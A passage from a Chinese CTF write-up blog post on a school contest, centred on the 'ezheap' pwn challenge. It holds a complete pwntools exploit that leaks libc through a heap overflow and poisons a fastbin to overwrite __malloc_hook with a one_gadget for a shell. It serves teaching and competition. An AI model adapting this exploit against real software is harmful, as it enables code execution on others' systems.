伪 chunk 选择 __malloc_hook - 0x23，是经典 fastbin attack 写法。申请到的位置实际在 __malloc_hook - 0x13 附近，payload 前面填充后即可覆盖 hook：

payload = b"\x00" * 3 + p64(0) + p64(one_gadget) + p64(realloc)

EXP

from pwn import *

s= lambda data:p.send(data)
sa= lambda text,data:p.sendafter(text, data)
sl= lambda data:p.sendline(data)
sla= lambda text,data:p.sendlineafter(text, str(data))
r= lambda num=4096:p.recv(num)
ru= lambda text:p.recvuntil(text)
uu32= lambda:u32(p.recvuntil(b"\xf7")[-4:].ljust(4,b"\x00"))
uu64= lambda:u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))
lg= lambda name,data:p.success(name + "-> 0x%x" % data)

#context.log_level ='debug'

test =0
if test == 1 :
    #libc = ELF('./libc-2.23.so')
    LIBC = '/home/yuujier/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6'
    LD='/home/yuujier/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-linux-x86-64.so.2'
    p = process(
        [LD,
        '--library-path',
        '/home/yuujier/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64',
        './pwn'
         ])
    libc=ELF(LIBC)

else:
    p = remote('10.1.40.168','32853')
    LIBC = '/home/yuujier/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6'
    LD='/home/yuujier/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/ld-linux-x86-64.so.2'
    libc=ELF(LIBC)
    #libc = ELF('./libc-2.23.so')

def add(size):
        sla('Command:',1)
        sla('size:',size)


def edit(idx,size,payload):
        sla('Command:',2)
        sla('Index:',idx)
        sla('Size:',size)
        sa('Content:',payload)


def free(idx):
        sla('Command:',4)
        sla('Index:',idx)


def dump(idx):
        sla('Command:',3)
        sla('Index:',idx)

#申请chunk:
add(0x10)#0
add(0x80)#1
add(0x10)#2
add(0x60)#3
add(0x10)#4

 
#--------leak addr--------

free(1)
edit(0,0x20,'a'*0x20)
dump(0)
ru(b'Content:')
ru(b'a'*0x20)
leak=u64(r(6).ljust(8,b'\x00'))
main_arena=leak-88
malloc_hook=main_arena-0x10
libc_base=malloc_hook-libc.sym['__malloc_hook']
free_hook=libc_base+libc.sym['__free_hook']
realloc=libc_base+libc.sym['realloc']
lg('free_hook',free_hook)
lg('main_arena',main_arena)
lg('malloc_hook',malloc_hook)
lg('libc_base',libc_base)
lg('realloc',realloc)
edit(0,0x20,p64(0)*3+p64(0x90))
 
#--------fake chunk--------
free(3)
edit(2,0x28,p64(0)*3+p64(0x71)+p64(malloc_hook-0x23))
add(0x60)
add(0x60)


one=[0x45216,0x4527a,0xf03a4,0xf1247,0xcd173,0xf67f0]
one_gadget=libc_base+one[1]
edit(3,0x20,p8(0)*3+p64(0)+p64(one_gadget)+p64(realloc))
#gdb.attach(p,'b realloc')
#pause()

add(0x1)

p.interactive()

本文2026-05-24首发于M15tak3のBlog，最后修改于2026-05-24

本博客所有文章除特别声明外，均采用 BY-NC-SA 许可协议。转载请注明出处！

Reserver on M15tak3のBlog

2026cuz第一次校赛wp

2026cuz第一次校赛wp

2026cuz第一次校赛wp

MISC

圣经（签到）

TIF

ZIP

WAV

流量包审计

CSV Filter Oracle

Crypto

最没用的建议

probabilistic_sponge

Missing Bits

Twice Safe？

小zxz最喜欢xor了

Web

file_include

thinkxxe

shopping

serlize

Resever

go go go

stateful_vm_maze

blackbox_ladder_lock

Pwn

S1mple_Stak3_0verfl0w

思路

EXP

libc_cafe

思路

EXP

orw_rop

思路

EXP

ezheap

思路

EXP